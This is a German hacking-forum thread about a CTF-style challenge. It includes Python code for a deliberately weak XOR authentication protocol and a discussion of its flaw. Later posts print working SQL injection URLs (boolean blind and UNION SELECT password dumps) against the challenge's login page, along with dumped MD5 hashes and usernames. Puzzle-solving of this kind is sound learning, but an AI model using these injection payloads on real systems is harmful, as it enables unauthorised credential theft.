[mittel-schwer] Beschütze die Weltherrschaft des HaBo

Die Frage die sich mir stellt, wie bist du an das underground-pw gekommen?^^

Fehler im Programm:
Code:
***CENSORED*** - xrayn ists schuld! :D
Dh. mit einer MITM kann man den gesendeten nonceC abfangen und aus der Antwort per xor den key entnehmen.
Also: nicht sicher.
Aber was ich mich noch frage - was fangen wir jetzt damit an?
 
Zuletzt bearbeitet:
fail

Ach Fuck, da hatte ich die falsche Version des Clients hochgeladen -.-

Die drei Zeilen sind die Lösung. Ziel sollte es sein genau einen solchen Client zu schreiben, der eben ohne den geheimen Schlüssel auskommt.

Tut mir Leid das Finale versaut zu haben.

Wer möchte kann sich an der original Aufgabe versuchen:
Code:
import random, base64, socket, os, sys, getopt

def xor_crypt(message, key):
    for k in key:
        new_message = ''
        for m in message:
            new_message += chr(ord(k)^ord(m))
        message = new_message
    return message

def get_key():
    # Natuerlich steht der geheime Schluessel nicht hier.
    # Diese Prozedur liest den Schluessel aus einem
    # Truecrypt-Container, welcher mit einem Passwort 
    # geschuetzt ist, welches mind. 30 Zeichen lang ist.
    # Zu Testzwecken wird hier einfach ein Passwort
    # zurueckgegeben
    return 'secretpassword'

class Server:
    def __init__(self):
        self.HOST = ''
        self.PORT = 1337
        self.ADDRESS = (self.HOST, self.PORT)
        
        self.server = socket.socket()
        self.server.bind(self.ADDRESS)
        self.server.listen(1)
        #
        # Authentifizierungsprotokoll:
        # Authentifiziert Server (S) und Client (C) ueber einen bekannten Schluessel k
        # weiter wird ein neuer Schluessel vom Server generiert, der fuer die Kommunikation
        # genutzt werden muss. Auf diese Weise wird verhindert, dass zuviele Nachrichten,
        # die mit k verschluesselt sind, ausgetauscht werden und so die Angriffsflaeche fuer
        # Kryptoanalysen minimiert.
        # 
        # C -> S: user + nonceC
        # S -> C: encrypt(nonceC, k) + encrypt(neuerSchluessel, k) + encrypt(nonceS, k) 
        # C -> S: encrypt(nonceS, neuerSchluessel)
        key = get_key()
        
        conn, addr = self.server.accept()
        print 'Connected by', addr
        
        data = conn.recv(1024)

        user,nonceC = data.split(';')
        user = base64.standard_b64decode(user)
        nonceC = base64.standard_b64decode(nonceC)
        
        encrypt_nonceC = base64.standard_b64encode(xor_crypt(nonceC, key))
        new_key = str(os.urandom(random.randrange(5,10)))
        encrypt_new_key = base64.standard_b64encode(xor_crypt(new_key, key))
        nonceS = str(random.randrange(pow(2,32)))
        tmp_nonceS = base64.standard_b64encode(xor_crypt(nonceS, key))
            
        conn.send(encrypt_nonceC+';'+encrypt_new_key+';'+tmp_nonceS)
            
        data = conn.recv(1024)
            
        if nonceS == xor_crypt(base64.standard_b64decode(data), new_key):
            msg = xor_crypt(user + ' ist mein Meister', new_key)
        else:
            msg = xor_crypt('geh weg!!!', new_key)
        
        conn.send(base64.standard_b64encode(msg))
        conn.close()
        self.server.close()

class Client:
    def __init__(self):
        self.HOST = '127.0.0.1'
        self.PORT = 1337
        self.ADDRESS = (self.HOST, self.PORT)
        
        self.client = socket.socket()
        self.client.connect(self.ADDRESS)
        key = get_key()
        
        user = base64.standard_b64encode('alex')
        nonceC = str(random.randrange(pow(2,32)))
        tmp = base64.standard_b64encode(nonceC)
        
        self.client.send(user+';'+tmp)        

        data = self.client.recv(1024)

        from_server_nonceC = xor_crypt(base64.standard_b64decode(data.split(';')[0]), key[::-1])
        from_server_new_key = xor_crypt(base64.standard_b64decode(data.split(';')[1]), key[::-1])
        nonceS = xor_crypt(base64.standard_b64decode(data.split(';')[2]), key[::-1])
        
        if nonceC != from_server_nonceC:
            print 'Das ist nicht unser Server!'
            self.client.close()
            return
        
        self.client.send(base64.standard_b64encode(xor_crypt(nonceS, from_server_new_key)))
        
        data = self.client.recv(1024)
        
        print xor_crypt(base64.standard_b64decode(data), from_server_new_key)


def main(argv):    
    try:                     
        opts, args = getopt.getopt(argv, "sc", [])           
    except getopt.GetoptError:          
        sys.exit(2)                     
    for opt, arg in opts:
        if opt in ("-s"):
            s = Server()  
        elif opt == '-c':
            c = Client()
        else:
            assert False, 'unhandled option'  
                
if __name__ == "__main__":
    main(sys.argv[1:])
 
Zuletzt bearbeitet:
Kein Thema ^^.
Hatte eh erst die Lücke entdeckt bis ich dann gesehen hab
dass der key gar nicht benötigt wird


Echt coole Aufgabe! Da macht das Rätseln doch mal richtig spaß
Bis auf das undergroundpw hab ich alles rausbekommen :D
EDIT:
Jetzt hab ichs auch xD oh lol, facebook xD
 
Zuletzt bearbeitet:
Genau, das böse böse Facebook. :thumb_up:

Schön wäre es ja noch, die Logins für Gmx, FB und Funpic zu finden. Der Funpic-Account wurde über das Gmx-Konto registriert und bei Gmx liegt auch schon eine Mail mit dem Passwort. :D
 
Genau, das böse böse Facebook. :thumb_up:

Schön wäre es ja noch, die Logins für Gmx, FB und Funpic zu finden. Der Funpic-Account wurde über das Gmx-Konto registriert und bei Gmx liegt auch schon eine Mail mit dem Passwort. :D

Hallo blumenzucht

Für deinen Account wurde eine Passwortanfrage gesetzt.

Um dein neues Passwort setzen zu können, klicke bitte auf folgenden link:

hxxp://www.funpic.de/reg_new/pwactivate/md5hash

Falls du diese Passwortanfrage nicht selbst gestellt hast, kannst du diese E-Mail ignorieren.
Sollten diese E-Mails vermehrt bei dir auftauchen, wende dich bitte an unseren Support. [...]
Nicht ganz ;)

Für die Accounts wurden verschiedene und starke Passwörter gewählt. Selbst ein Hash sollte also nicht sehr viel bringen ;)
 
Double Post!

Mackz war so freundlich und hat in der HaBo-Datenbank gestöbert und mir den Hash per PN mitgeteilt.
(Er konnte mir leider nicht verraten ob der Hash gesalzen ist oder nicht)

xrayn
1c3fa8e5c3041c84c9e067dcf2e8741d

http://blumenzucht.bl.funpic.de/login.php?email=bla' OR ASCII(SUBSTRING(password,32,1)) = ASCII('d') OR '&password=a

Wer hat Lust die anderen User zu dumpen?

[Edit:]
Info aus der Chatbox:
[27.07., 16:52] Inliferty Ich denke wir sind wieder einen Schritt weiter (jetzt muss ein MD5 Cracker her)
[27.07., 17:14] xrayn nein, die hashes sind hackerboard.deX X=1-6

hackerboard.de1 - c55d948580797e89806edf65d6ba78fe - alex
hackerboard.de2 - 7951f4f6cb36aa3c9ff394b95682f535 - nadja
hackerboard.de3 - 77cb74698d738561367302706cbd6b2e - andre
hackerboard.de4 - 1c3fa8e5c3041c84c9e067dcf2e8741d - xrayn
hackerboard.de5 - 149d4576ce76e225fbf0fa593429ec57 - bill
hackerboard.de6 - 605955b76e1b1d7a1ffbe34ac8b0f237 - morat

Aber keiner der Logins funktioniert auf untergrund

MfG
Inliferty

Wo es mir gerade einfällt, ein UNION SELECT eignet sich hier wunderbar ;).

http://blumenzucht.bl.funpic.de/login.php?email=%27+UNION+SELECT+password%2C+password+from+user%3B+%23&password=
 
Ok, das es so auch geht hab ich nicht bedacht. :)
Normal muss ich bei solchen Attacken auch auf Sleep() in einer IF-Anweisung zurückgreifen. (Blind Sql-Injection)
Durch die Antwortzeit des Servers finde ich dann heraus, ob das Statement in der IF-Abfrage wahr oder falsch ist.

MfG
Inliferty
 
Zurück
Oben